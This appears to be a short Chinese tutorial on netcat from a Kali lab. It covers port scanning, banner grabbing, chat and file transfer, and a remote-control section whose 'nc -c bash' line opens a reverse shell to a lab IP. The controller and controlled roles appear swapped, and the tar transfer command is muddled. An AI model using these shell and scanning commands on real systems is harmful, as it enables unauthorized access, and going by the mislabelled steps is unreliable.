安全(3)-Netcat

netcat
安全(3)-Netcat
我的是kali的虚拟机,IP是172.16.244.132

端口扫描

nc -nvz 192.168.1.1
这里-n表示ip,不用经过DNS转换,-v是提示,-z是不进行I/O,只是用来扫描

安全(3)-Netcat

Telnet/Banner

nc -vn 123.125.50.29 110
安全(3)-Netcat

传输文本

nc -lp 6666
-l 是监听模式
-p 是端口
安全(3)-Netcat

nc -nv 172.16.244.132 6666

发送消息
安全(3)-Netcat
接收消息
安全(3)-Netcat
定向到文件中

nc -lp 6666 > test.txt

传输文件和目录

文件
nc -lp 6666 > 1.jpg
nc -nv 172.16.244.132 6666 < 1.jpg

目录
nc -lp 6666 > test.tar
tar -cvf test.tar test/ | nc -nv 172.16.244.132 6666 < test.tar

加密传输

mcrypt
–flush 立即冲洗输出,
-F 强制 输出数据,
-b 不保留算法信息,
-q 关闭一些非严重的警告,
-d 解密

远程控制

被控端
nc -lp 6666
控制端
nc -nv 172.16.244.132 6666 -c bash

安全(3)-Netcat
安全(3)-Netcat